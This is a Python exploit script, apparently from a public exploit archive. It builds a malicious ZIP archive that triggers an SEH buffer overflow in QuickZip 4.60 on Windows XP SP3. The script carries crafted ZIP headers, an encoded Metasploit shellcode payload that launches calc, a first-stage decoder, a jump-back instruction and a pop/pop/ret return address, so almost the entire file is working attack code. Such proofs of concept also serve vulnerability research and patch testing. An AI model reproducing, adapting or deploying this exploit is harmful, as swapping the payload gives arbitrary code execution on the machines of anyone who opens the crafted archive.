#!/usr/bin/python
# ###############################################################################
# Exploit Title : QuickZip 4.x (.zip) Buffer Overflow Exploit #2
# Date          : 9/3/2010
# Original author        : corelanc0d3r & mr_me
# Second Exploit  : Dz_attacker (dz_attacker[at]hotmail[dot]fr
# Software Link : http://www.quickzip.org/downloads.html
# Version       : 4.60
# OS            : Windows
# Tested on     : XP SP3 En
# Type of vuln  : SEH
# Greetz to     : Corelan Security Team
# ###############################################################################

header1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")
 
header2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
 
header3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")

 # win32_exec -  EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x43\x4b\x38\x4e\x57"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x38"
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x48"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x58"
"\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x48\x4e\x51\x4b\x38"
"\x41\x50\x4b\x4e\x49\x38\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x43\x45\x58\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x38\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x56\x4e\x33\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x45\x4a\x56\x50\x37\x4a\x4d\x44\x4e\x43\x47\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x38\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x56\x41\x36"
"\x4e\x36\x43\x46\x42\x30\x5a")
 
print "[+] Building PoC.."
 
junk = "\x44"*302

code =    "\x2D\x6E\x45\x45\x45"      #SUB EAX,4545456E
code +=   "\x2D\x6D\x55\x55\x55"      #SUB EAX,5555556D
code +=   "\x2D\x78\x69\x52\x65"      #SUB EAX,65526978

sploit =  "\x41"*200
sploit += code
#First stage shellcode
sploit += "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIm8taRUGsUQTJA"
sploit += "\x41"*14
sploit += "\x76\xff\x42\x42"	#jump back 94 bytes
sploit += "\x1b\x24\x70\x00"	#0x0070241b p/p/r
sploit += shellcode
sploit += "\x44"*(4064-len(junk+shellcode))
sploit += ".exe"
 
payload =  header1
payload += sploit
payload += header2
payload += sploit
payload += header3
 
mefile = open('dz.zip','w');
mefile.write(payload);
mefile.close()
print "[+] Exploit complete!"